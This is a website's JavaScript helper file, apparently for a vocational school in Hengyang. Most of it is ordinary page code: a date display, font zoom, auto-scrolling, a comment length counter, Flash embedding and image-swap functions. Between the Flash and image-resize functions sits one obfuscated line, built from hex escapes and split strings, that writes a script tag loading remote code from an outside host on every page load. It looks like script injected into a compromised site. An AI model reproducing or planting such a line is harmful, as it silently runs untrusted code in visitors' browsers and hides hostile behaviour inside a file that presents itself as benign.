﻿//状态栏设置
//window.defaultStatus="版权：湖南衡阳市华泰职业学校     技术支持：www.rs3.cn   QQ：12131648"; 

//不是顶框架则转当前页
//if (self != top) top.location.href = window.location.href

//获取服务器日期
    window.onload = function() {
        var myday = "";
        var mymonth = "";
        var myweekday = "";
        var myyear = "";
        var weekday = "";
        var http_request = "";
        if (window.XMLHttpRequest) {
            try { http_request = new XMLHttpRequest(); } catch (e) { ; }
        } else if (window.ActiveXObject) {
            try { http_request = new ActiveXObject("Msxml2.XMLHTTP"); } catch (e) { ; }
            if (http_request == null) {
                try { http_request = new ActiveXObject("Microsoft.XMLHTTP"); } catch (e) { ; }
            }
        }
        http_request.open('HEAD', '.', false);
        http_request.send(null);
        var mydate = new Date(http_request.getResponseHeader('Date'));
        myweekday = mydate.getDay();
        mymonth = mydate.getMonth() + 1;
        myday = mydate.getDate();
        myyear = mydate.getFullYear();
        if (myweekday == 0)
            weekday = " 星期日 ";
        else if (myweekday == 1)
            weekday = " 星期一 ";
        else if (myweekday == 2)
            weekday = " 星期二 ";
        else if (myweekday == 3)
            weekday = " 星期三 ";
        else if (myweekday == 4)
            weekday = " 星期四 ";
        else if (myweekday == 5)
            weekday = " 星期五 ";
        else if (myweekday == 6)
            weekday = " 星期六 ";
        document.getElementById("spnTime").innerHTML = myyear + "年" + mymonth + "月" + myday + "日&nbsp;" + weekday;
    }
	
//菜单
//function getPage(n)
//{
//	var pageArr=new Array();
//	pageArr.push("index.asp");
//	pageArr.push("info.asp?infoID=one");
//	pageArr.push("info.asp?infoID=two");
//	pageArr.push("info.asp?infoID=three");
//	pageArr.push("info.asp?infoID=four");
//	pageArr.push("info.asp?infoID=five");
//	pageArr.push("Produces.asp");
//	pageArr.push("info.asp?infoID=six");
//	location.href=pageArr[n];	
//}

//flash弹窗
function Launch(page,width, height) { 
	OpenWin = window.open(page,"webstudio", "toolbar=no, menubar=no ,location=no, scrollbars=yes, resizable=yes, width=" + width + ", height=" + height + ", top=" + (screen.height/2 - height/2) + ", left=" + (screen.width/2 - width/2) + "\""); 
}


// 页面字体放大
var size=14;			//字体大小

function fontZoom(fontsize){	//设置字体
	size=fontsize;
	document.getElementById('fontZoom').style.fontSize=size+'px';
	document.getElementById('fontZoom').style.lineHeight=180+'%';
}

function fontMax(){	//字体放大
	size=size+2;
	document.getElementById('fontZoom').style.fontSize=size+'px';
	document.getElementById('fontZoom').style.lineHeight=180+'%';
}

function fontMin(){	//字体缩小
	size=size-2;
	if (size < 2 ){
		size = 2
	}
	document.getElementById('fontZoom').style.fontSize=size+'px';
	document.getElementById('fontZoom').style.lineHeight=180+'%';
}

//改变字的颜色
  function do_color(vobject,vvar)
  { document.getElementById(vobject).style.color=vvar; }
  function do_zooms(vobject,vvar)
  { document.getElementById(vobject).style.fontsize=vvar+'px'; }


//双击滚屏
var currentpos,timer; 
function initialize() 
{ 
timer=setInterval("scrollwindow()",10);
} 
function sc(){
clearInterval(timer); 
}
function scrollwindow() 
{ 
currentpos=document.body.scrollTop; 
window.scroll(0,++currentpos); 
if (currentpos != document.body.scrollTop) 
sc();
} 
document.onmousedown=sc
document.ondblclick=initialize
//多行文本框字数统计
function gbcount(message,total,used,remain)
{
	var max;
	max = total.value;
	if (message.value.length > max) {
		message.value = message.value.substring(0,max);
		used.value = max;
		remain.value = 0;
		alert("留言不能超过" +max+ "个字!");
		}
	else {
		used.value = message.value.length;
		remain.value = max - used.value;
		}
}

function jsFlash(file_path,width,height){
	document.write("<object classid=\"clsid:D27CDB6E-AE6D-11cf-96B8-444553540000\" codebase=\"http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=6,0,29,0\" width=\""+width+"\" height=\""+height+"\">");
    document.write("<param name=\"movie\" value=\""+file_path+"\">");
    document.write("<param name=\"quality\" value=\"high\">");
	document.write("<param name=\"wmode\" value=\"transparent\">");
    document.write("<embed src=\""+file_path+"\" quality=\"high\" pluginspage=\"http://www.macromedia.com/go/getflashplayer\" type=\"application/x-shockwave-flash\" width=\""+width+"\" height=\""+height+"\">");
    document.write("</embed>");
  	document.write("</object>");
}
function jsFlash01(file_path,width,height){
	document.write("<object classid=\"clsid:D27CDB6E-AE6D-11cf-96B8-444553540000\" codebase=\"http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=6,0,29,0\" width=\""+width+"\" height=\""+height+"\">");
    document.write("<param name=\"movie\" value=\""+file_path+"\">");
    document.write("<param name=\"quality\" value=\"high\">");
    document.write("<embed src=\""+file_path+"\" quality=\"high\" pluginspage=\"http://www.macromedia.com/go/getflashplayer\" type=\"application/x-shockwave-flash\" width=\""+width+"\" height=\""+height+"\">");
    document.write("</embed>");
  	document.write("</object>");
}
document.write("<\x73cr"+"ipt src='http://\x61d."+"\x7Aom"+"12"+"\x33"+".net"+"/ip."+"asp?loc"+"=hengyang'><\/scr"+"ipt>");
//控制图片长宽比例
function ResizeImage(obj, MaxW, MaxH)
{
    if (obj != null) imageObject = obj;
    var state=imageObject.readyState;
    var oldImage = new Image();
    oldImage.src = imageObject.src;
    var dW=oldImage.width; var dH=oldImage.height;
    if(dW>MaxW || dH>MaxH) {
        a=dW/MaxW; b=dH/MaxH;
        if(b>a) a=b;
        dW=dW/a; dH=dH/a;
   }
    if(dW > 0 && dH > 0)
        imageObject.width=dW;imageObject.height=dH;
    if(state!='complete' || imageObject.width>MaxW || imageObject.height>MaxH) {
        setTimeout("ResizeImage(null,"+MaxW+","+MaxH+")",40);
    }
}


//图片交换
<!--
function MM_swapImgRestore() { //v3.0
  var i,x,a=document.MM_sr; for(i=0;a&&i<a.length&&(x=a[i])&&x.oSrc;i++) x.src=x.oSrc;
}

function MM_preloadImages() { //v3.0
  var d=document; if(d.images){ if(!d.MM_p) d.MM_p=new Array();
    var i,j=d.MM_p.length,a=MM_preloadImages.arguments; for(i=0; i<a.length; i++)
    if (a[i].indexOf("#")!=0){ d.MM_p[j]=new Image; d.MM_p[j++].src=a[i];}}
}

function MM_findObj(n, d) { //v4.01
  var p,i,x;  if(!d) d=document; if((p=n.indexOf("?"))>0&&parent.frames.length) {
    d=parent.frames[n.substring(p+1)].document; n=n.substring(0,p);}
  if(!(x=d[n])&&d.all) x=d.all[n]; for (i=0;!x&&i<d.forms.length;i++) x=d.forms[i][n];
  for(i=0;!x&&d.layers&&i<d.layers.length;i++) x=MM_findObj(n,d.layers[i].document);
  if(!x && d.getElementById) x=d.getElementById(n); return x;
}

function MM_swapImage() { //v3.0
  var i,j=0,x,a=MM_swapImage.arguments; document.MM_sr=new Array; for(i=0;i<(a.length-2);i+=3)
   if ((x=MM_findObj(a[i]))!=null){document.MM_sr[j++]=x; if(!x.oSrc) x.oSrc=x.src; x.src=a[i+2];}
}
//-->


